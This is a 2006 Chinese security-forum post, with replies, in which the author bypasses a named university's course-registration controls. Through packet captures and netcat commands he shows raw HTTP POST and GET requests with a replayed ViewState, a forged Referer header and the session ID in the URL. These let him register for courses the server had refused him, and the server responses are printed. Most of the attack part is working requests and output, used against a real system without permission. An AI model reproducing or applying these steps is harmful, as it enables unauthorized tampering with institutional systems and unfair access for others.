[原创]突破江苏某高校选课系统
文章作者:the0crat(the0crat.cn_at_gmail.com)信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
突然翻出来个古董,拿出来分享了:)
###############################################
#Title:突破江苏某高校选课系统
#Author:the0crat(the0crat.cn_at_gmail.com)
#[url]http://the0crat.blogcn.com[/url]
#2006/6/26
#转载请保持文章完整性,请注明作者和来源
###############################################
不能传图,要看图的话自己到the0crat.blogcn.com上有一份
▲ 宁为玉碎,不为瓦全
总觉得在这破学校里面就是个试验品,学校总是邯郸学步似的学其他高校的制度~选课制度就在其中。很多选过课的应该都能领略到它的恐怖吧,选课那天的机房完全就是被人给埋了,8点选课6点就有人到门口执著的等候着了,再过一个小时,能从人堆中挪出来都已是万幸。更别提开始选课的时候了,整的一次大规模的人肉DDOS,哥们美眉们都是拼了命的不断syn,可怜的服务器也拼了命的syn/ack,运气好的3分钟能打开一个页面,运气不好的~那就急吧,室内40多度的高温就是这么给急出来的。
上学期没电脑,忍了,这学期有电脑了可不是用来作摆设的,怎么都得解决这个生死攸关的问题,冷不防什么时候中暑了被蒸死在机房里。说干就干:)
▲ 闺房初窥
先分析一下,上学期选课系统要同时面对几万人,两个校区的机房加宿舍会有多少个终端呢,呵呵,换一个学校那就多了,但是在这里宿舍的那部分可以忽略不计,唯一的可能就是避过高峰期。但是这个学期不一样了,选课系统改成了一个阶段对一部分学号开放(但是到了选课的时间服务器同样被蹂躏得爬都爬不起来,他就舍不得换一台好点的~没办法~),而我所在的学院又总是排在后面~这问题那可是相当的严重~
(图1)
打开首页后url会跳成这样(图2),以前没见过~再重新打开首页,中间那24字节又变了,照这个url来看难道是每次都create一个随机目录?先登进去看看,显示页面的url都是在这个目录下面~faint,进一步确认一下~把(pila0y45d2dzro55xqcb0z34)改成(pila0y45d2dzro55xqcb0z33),跳回登陆页面了~而且这个随机目录也换了~http://******/(45ee4zqxyk5zvo45pvuokn55)/default2.aspx,退回去(图3)。这次把(pila0y45d2dzro55xqcb0z34)/xs_main.aspx?xh=********改成另外一个页面,假设这个目录下面并没有所有选课系统页面,而是访问一个生成一个,所以之前先不要打开它,直接在url里面提交http://******/(pila0y45d2dzro55xqcb0z34)/xskbcx.aspx?xh=******&xm=***,晕,返回登陆页面了,怎么回事~退回去,单击指向这个页面的链接,能进去啊,再退回来,url里直接输入,又到登陆页面了~纳闷了~先搁着~
▲ 小试牛刀
打开选选修课的页面,弹出来个“您不能选该课程”~,我们的曙光,假如他是先验证再显示的话我们就有办法绕过去直接提交数据就能选课了,就从这里下手。确定后页面中都是空的~,借了个已经能选课的学院的号进去,看到了熟悉的页面,先看源代码~(图4)&*R%#$%^%^&()&*(^够强~~~这里弄这么多~有必要吗~~~~faint~~~~~~先不管他,我们关心的是post了什么,看到上面一点那行的form标签了吧,不过难道真的要post 300多kb的这一大串?呵呵~这人真有创意~抓抓包看看~wsockexpert一显示这一大串就死掉了,无奈,操出ethereal(这里把先前保存下来的拿出来,没必要再去抓一次,呵呵),我在没有选择任何课程点提交后抓了一次,又在选了一个后抓了一次,打开选了一个课程然后post的这个,如图(图5),看到这个包了吧,并没有像一般的那样是把选了什么什么放在POST / HTTP/1.1这行里,继续往下看看到那些Continuation了吗,有好几十个这样的包,里面就是前面我们看到的那300KB的东东了~~再往下,关键的包包在这里(图6),好了,它的庐山真面目被我们赤裸裸地扒开了!
&ddl_ywyl=&ddl_kcgs=&ddl_sksj=&ddl_xqbs=2&ddl_kcxz=&kcmcGrid%3A_ctl143%3Axk=on&Button1=++%CC%E1%BD%BB++
回到这个页面的源代码,这个选择了的课程在这
<td align="Center" style="background-color:#9DCEFF;">
<input id="kcmcGrid__ctl143_xk" type="checkbox" name="kcmcGrid:_ctl143:xk" />
</td><td align="Center" style="background-color:#9DCEFF;">
<input id="kcmcGrid__ctl143_jc" type="checkbox" name="kcmcGrid:_ctl143:jc" />
</td><td><a href='#' onclick="window.open('kcxx.aspx?kcdm=32104','kcxx','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0,width=490,height=500,left=200,top=50')">社交礼仪</a></td><td><a href='#' onclick="window.open('jsxx.aspx?jszgh=301918&xkkh=(2006-2007-1)-32104-301918-1','jsxx','toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0,width=540,height=450,left=120,top=60')">杨得利</a></td><td>周二第9,10节{第12-19周};周日第1,2节{第12-19周}</td><td style="width:70px;">教1-A403;教1-A403</td><td>1.0</td><td>4.0-0.0</td><td>12-19</td><td>120</td><td>120</td><td>0</td><td>120</td><td> </td>
</tr><tr>
所有的对比出来,ddl_ywyl是有没有余量,ddl_kcgs是课程归属,ddl_sksj是上课时间,ddl_xqbs是上课校区,ddl_kcxz是课程性质,kcmcGrid%3A_ctl143%3Axk就是课程的id了,是用checkbox来标识的,所以是on。至此,告一段落。
在选修课的地址栏里回车了一下,怎么又回到登陆界面了,我晕,这里面一定有蹊跷,请出wsockexpert,在选课系统里面点出来一个页面,注意,“点”,呵呵,正常显示,在地址栏里回车,跳到了登陆界面,别急坏了wsockexpert小朋友。我们分两次来对比一下。第一次,直接回车(图7),第二次,点主界面里的链接
GET /(pila0y45d2dzro55xqcb0z34)/xskbcx.aspx?xh=***&xm=*** HTTP/1.1
Accept: */*
Referer: [url]http://jwxt.cumt.edu.cn/[/url](pila0y45d2dzro55xqcb0z34)/xs_main.aspx?xh=***
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322)
Host: jwxt.cumt.edu.cn
Connection: Keep-Alive
发现了吧,多了一行referer,小意思,看来这个选课系统的author也不想让我们冷落了nc小朋友
动起来!新建一个q.txt,根据之前ethereal抓的我们来构造一个包(别忘了图4里的另外两个hidden哦)
POST /(pila0y45d2dzro55xqcb0z34)/xf_xsqxxxk.aspx?xh=***&xm=*** HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: [url]http://jwxt.cumt.edu.cn/[/url](pila0y45d2dzro55xqcb0z34)/xf_xsqxxxk.aspx?xh=*******&xm=******
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322)
Host: jwxt.cumt.edu.cn
Content-Length: 331100
Connection: Keep-Alive
Cache-Control: no-cache
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=dDwtNzIxN..............(略去n多)Y3RsMjAxOmpjO2tjbWNHcmlkOl9jdGwyMDI6eGs7a2NtY0dyaWQ6X2N0bDIwMjpqYzs+Po0vzGP+H8nPNxQ3z2PkN1/Ygooa&ddl_ywyl=&ddl_kcgs=&ddl_sksj=&ddl_xqbs=2&ddl_kcxz=&kcmcGrid%3A_ctl143%3Axk=on&Button1=++%CC%E1%BD%BB++
▲ 直捣黄龙
突然想起来先试试别的页面,
q.txt->
GET /(pila0y45d2dzro55xqcb0z34)/xskbcx.aspx?xh=**&xm=** HTTP/1.1
Accept: */*
Referer: [url]http://jwxt.cumt.edu.cn/[/url](pila0y45d2dzro55xqcb0z34)/xs_main.aspx?xh=***
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2; .NET CLR 1.1.4322)
Host: jwxt.cumt.edu.cn
Connection: Keep-Alive
(注意这里不是提交**,而是学号和姓名)
Z:\>nc -vv 211.70.**.67 80 <q.txt
**** [211.70.**.67] 80 (http) open
HTTP/1.1 200 OK
Date: Mon, 26 Jun 2006 08:03:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=gb2312
Content-Length: 13653
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
返回正常页面,有意思,试验性的我们来看看
去掉referer这一行:
Z:\>nc -vv 211.70.**.67 80 <q.txt
*** [211.70.**.67] 80 (http) open
HTTP/1.1 302 Found
Date: Mon, 26 Jun 2006 08:06:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /(pila0y45d2dzro55xqcb0z34)/
Cache-Control: private
Content-Type: text/html; charset=gb2312
Content-Length: 145
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/(pila0y45d2dzro55xqcb0z34)/'>here</a>.</h2>
</body></html>
这行还真是必备的~
加上referer行,把xh和xm改成其他人的:
Z:\>nc -vv 211.70.***.67 80 <q.txt
*** [211.70.***.67] 80 (http) open
HTTP/1.1 302 Found
Date: Mon, 26 Jun 2006 08:08:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /(pila0y45d2dzro55xqcb0z34)/
Cache-Control: private
Content-Type: text/html; charset=gb2312
Content-Length: 145
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/(pila0y45d2dzro55xqcb0z34)/'>here</a>.</h2>
</body></html>
看来还有一道验证~安全性不错,还算放心:)
还记得之前我们直接在地址栏回车,然后跳转到登陆界面吗,就是这行referer在作怪,现在我们把浏览器关掉nc再来,正常返回页面。先前不是假设过这个系统在随机目录下面放了一份选课系统的备份吗,现在我们就能来核实这个问题了。同样,随便找一个,http://***/(pila0y45d2dzro55xqcb0z34)/mmxg.aspx?xh=***之前没有打开过,我们改一下q.txt
Z:\>nc -vv 211.70.***.67 80 <q.txt
***** [211.70.***.67] 80 (http) open
HTTP/1.1 200 OK
Date: Mon, 26 Jun 2006 08:18:00 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=gb2312
Content-Length: 2142
<script language='javascript'>if (window.name!='mmxg') {location.href = '';}
好的,200,下一个,我们再把mmsxg.aspx换成个基本上不可能存在的文件名
Z:\>nc -vv 211.70.***.67 80 <q.txt
*** [211.70.***.67] 80 (http) open
HTTP/1.1 302 Found
Date: Mon, 26 Jun 2006 08:24:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /(pila0y45d2dzro55xqcb0z34)/zdy.htm?aspxerrorpath=/mm.aspx
Cache-Control: private
Content-Type: text/html; charset=gb2312
Content-Length: 175
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/(pila0y45d2dzro55xqcb0z34)/zdy.htm?aspxerrorpath=/
mm.aspx'>here</a>.</h2>
</body></html>
基本上可以确定随机目录下面是一整套文件,晕了,这样做那服务器的负担也太重了,一个小小的脚本就可以把服务器的硬盘填满~鉴于安全,这里不写~
▲ 剑气回肠
行,刚才的问题解决了,我们回来选课了。先用自己的账号登陆,它弹出不能选课,不用管他,源代码里面把那一大串不知道用来干什么的复制过来,打开前面最早的那个q.txt,把随机目录和学号姓名都改一下,nc post,没有什么显示,是不是没用呢?看看课表便知(图8),课程现在乖乖的在那里了。同理,体育课公共基础课都没问题了。以后再也不用为选课劳累了,哈!
总的来说,这个选课系统的安全性还算不错,他每次生成随机目录虽然对服务器负荷很大,但是这样要欺骗他用别人的账号登陆也就更加困难,安全上有所提高。还让人比较放心。可是那一大串300多kb的东东到底是怎么得出来的呢,这个还有待进一步的观察~呵呵,而且真的有必要把那一段弄到300多kb吗,据多次观察,那一段不是确定的长度,几个字节就能实现的功能竟然弄到300多kb,用notepad打开都会死掉,我写这篇写到一半把它复制过来后notepad立马死了,先前好大一段还没有保存,哭啊,太害人了~弄到这种长度除了吓吓人,恐怕也没其他优势~值得深思~呵呵~ 桂电的选课系统也有漏洞
我怀疑是作者留 的后门
还卖10万…… 哎,源码都拿到手了...
虫虫你上来说说吧 ~◎^_^◎~
lz......说说我的意见吧。
[quote]先前不是假设过这个系统在随机目录下面放了一份选课系统的备份吗,现在我们就能来核实这个问题了。[/quote]
[quote]他每次生成随机目录虽然对服务器负荷很大,但是这样要欺骗他用别人的账号登陆也就更加困难,安全上有所提高。还让人比较放心。[/quote]
呵呵,作者这里错了。其实并没有随机生成一个目录,呵呵,更没有放一份选课系统的备份。整个系统10M多,每个人访问一次就给备份到一个随机目录。。。那。。。是不是太恐怖?呵呵。 他的url里的这个随机码就是cookie里的sessionID,但是我对.net也不是很了解,所以不知道是怎么实现的。(知道的给俺指点一下,呵呵)
[quote]而且真的有必要把那一段弄到300多kb吗,据多次观察,那一段不是确定的长度,几个字节就能实现的功能竟然弄到300多kb,...[/quote]
HOHO~~这个就是aspx(.Net)的 __VIEWSTATE ..是用来保存页面上的一个服务器变量的,经过des加密,密钥随机,与session有关.. 是.Net的一个功能,而不是这套系统的程序员做的,呵呵。不过个人也比较反感这个。。
这套系统据说是浙江大学做的,还是国家火炬计划的...去浙江大学的教务系统看看,人家已经升级了好几版本了,漏洞也补了不少,还加了验证码防暴力破解...虽然效果不大,呵呵。
Oracle + aspx的,[b]据说[/b]买这套系统就得一下子把他服务器也买下来~ 比较不怎么第啊,呵呵。 我们学校还要校园网才能选课,电信DA还不能选。每次到我们宿舍选课时就是些LJ课给我们了。 [s:34] [quote][b]引用第5楼[i]虫虫[/i]于[i]2007-01-11 12:15[/i]发表的[/b]:
~◎^_^◎~
lz......说说我的意见吧。
HOHO~~这个就是aspx(.Net)的 __VIEWSTATE ..是用来保存页面上的一个服务器变量的,经过des加密,密钥随机,与session有关.. 是.Net的一个功能,而不是这套系统的程序员做的,呵呵。不过个人也比较反感这个。。
.......[/quote]
多谢提醒,我一直没碰过.net,它暂时也挑不起我的兴趣,很多特征确实不知道,只能是遇到就试着分析一下了 :) [quote][b]引用第12楼[i]fr.qaker[/i]于[i]2007-01-11 16:34[/i]发表的[/b]:
嘿嘿,发现大家的经历都差不多,大学生活就是如此有趣,所有的技术都在自己的利益追求中提高[/quote]
姑且如此吧,谁让那些呆子把这种如此不成熟的产品拿出来~
[quote]
Oracle + aspx的,据说买这套系统就得一下子把他服务器也买下来~ 比较不怎么第啊,呵呵。[/quote]
呵呵,我还以为是计算机学院的那些人太笨了搬出来那么烂的服务器,没想到服务器的在更早的地方就被卡住了啊,今天又选课了,那台垃圾差点没把我憋死~~~~~
页:
[1]